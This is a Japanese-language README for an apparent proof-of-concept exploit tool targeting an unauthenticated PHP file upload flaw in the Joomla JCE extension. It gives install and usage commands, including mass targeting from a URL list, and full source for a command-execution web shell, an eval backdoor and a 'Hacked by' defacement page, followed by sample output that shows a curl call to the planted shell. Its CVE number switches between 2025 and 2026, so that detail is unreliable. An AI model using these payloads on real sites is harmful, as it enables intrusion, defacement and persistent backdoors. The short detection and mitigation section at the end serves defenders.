
CVE-2025-48907 - Joomla JCE 2.9.99.5未満向けの認証不要のRCEエクスプロイト
Joomla! JCE 拡張機能 < 2.9.99.5 - 認証なし任意PHPファイルアップロードおよびリモートコード実行
http.component:"Joomla"
app="Joomla"
このリポジトリには、CVE-2026-48907 の概念実証 (PoC) エクスプロイトが含まれています。これは、Joomla! JCE (Joomla Content Editor) 拡張機能のバージョン 2.9.99.5 未満 における重大な脆弱性です。この脆弱性により、認証されていない攻撃者 が JCE プロファイルインポート機能を介して任意の PHP ファイル をアップロードし、リモートコード実行 (RCE) を引き起こすことができます。
このツールは教育および許可されたテスト目的のみに使用してください。
- 自分が所有している、または明示的なテスト許可を得ているシステムでのみ使用してください
- 作者は誤用や違法行為について一切の責任を負いません
- テストを実施する前に必ず適切な許可を取得してください
| プロパティ | 値 |
|---|---|
| CVE ID | CVE-2026-48907 |
| 製品 | Joomla! JCE 拡張機能 |
| 影響を受けるバージョン | < 2.9.99.5 |
| 脆弱性の種類 | 認証なし PHP ファイルアップロード → RCE |
| CVSS スコア | 9.8 (重大) |
| 攻撃ベクトル | ネットワーク |
| 認証 | 不要 |
| 影響 | システム全体の侵害 |
index.php?option=com_jce&task=profiles.import) を利用します/tmp/ ディレクトリに配置され、直接アクセスすることで実行可能です# リポジトリをクローン
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# 必要な依存関係をインストール
pip3 install requests urllib3
requests ライブラリurllib3 ライブラリpython3 CVE-2025-48907.py -u <ターゲットURL> -F <アップロードするPHPファイル>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
| 引数 | 必須 | 説明 |
|---|---|---|
-u, --url | はい* | 単一ターゲットURL (例: http://target.com) |
-f, --file | はい* | ターゲットURLのリストを含むファイル (1行に1URL) |
-F, --upload-file | はい | アップロードするPHPファイル (シェル、バックドア、改ざんページ) |
-v, --verbose | いいえ | デバッグ用の詳細出力を有効にする |
-o, --output | いいえ | 成功したアップロードURLをファイルに保存する |
* -u または -f のいずれかを指定する必要があります
targets.txt ファイルを作成し、各行に 1 つの URL を記述します:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# コメントは無視されます
https://example-joomla.com
すべてのペイロードは PHP ファイル である必要があります。エクスプロイトはサーバー上で実行される PHP コードをアップロードするためです。
shell.php を作成:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
deface.php を作成:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
backdoor.php を作成:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)
[*] Loaded 3 target(s)
[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...
============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================
[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/ ディレクトリ内の不審な PHP ファイルを確認するindex.php?option=com_jce&task=profiles.import への予期しないリクエストを確認する/tmp/ 内の .xml.php 拡張子のファイルを確認する/tmp/ ディレクトリからの異常な PHP 実行を監視するJCE 拡張機能の更新:
一時的な回避策:
/tmp/ ディレクトリでの PHP 実行を制限するallow_url_fopen を無効にする侵害後の措置:
/tmp/ からアップロードされた PHP ファイルを削除するこのプロジェクトは MIT ライセンス の下で提供されています。詳細は LICENSE ファイルを参照してください。
貢献を歓迎します!プルリクエストをぜひ送信してください。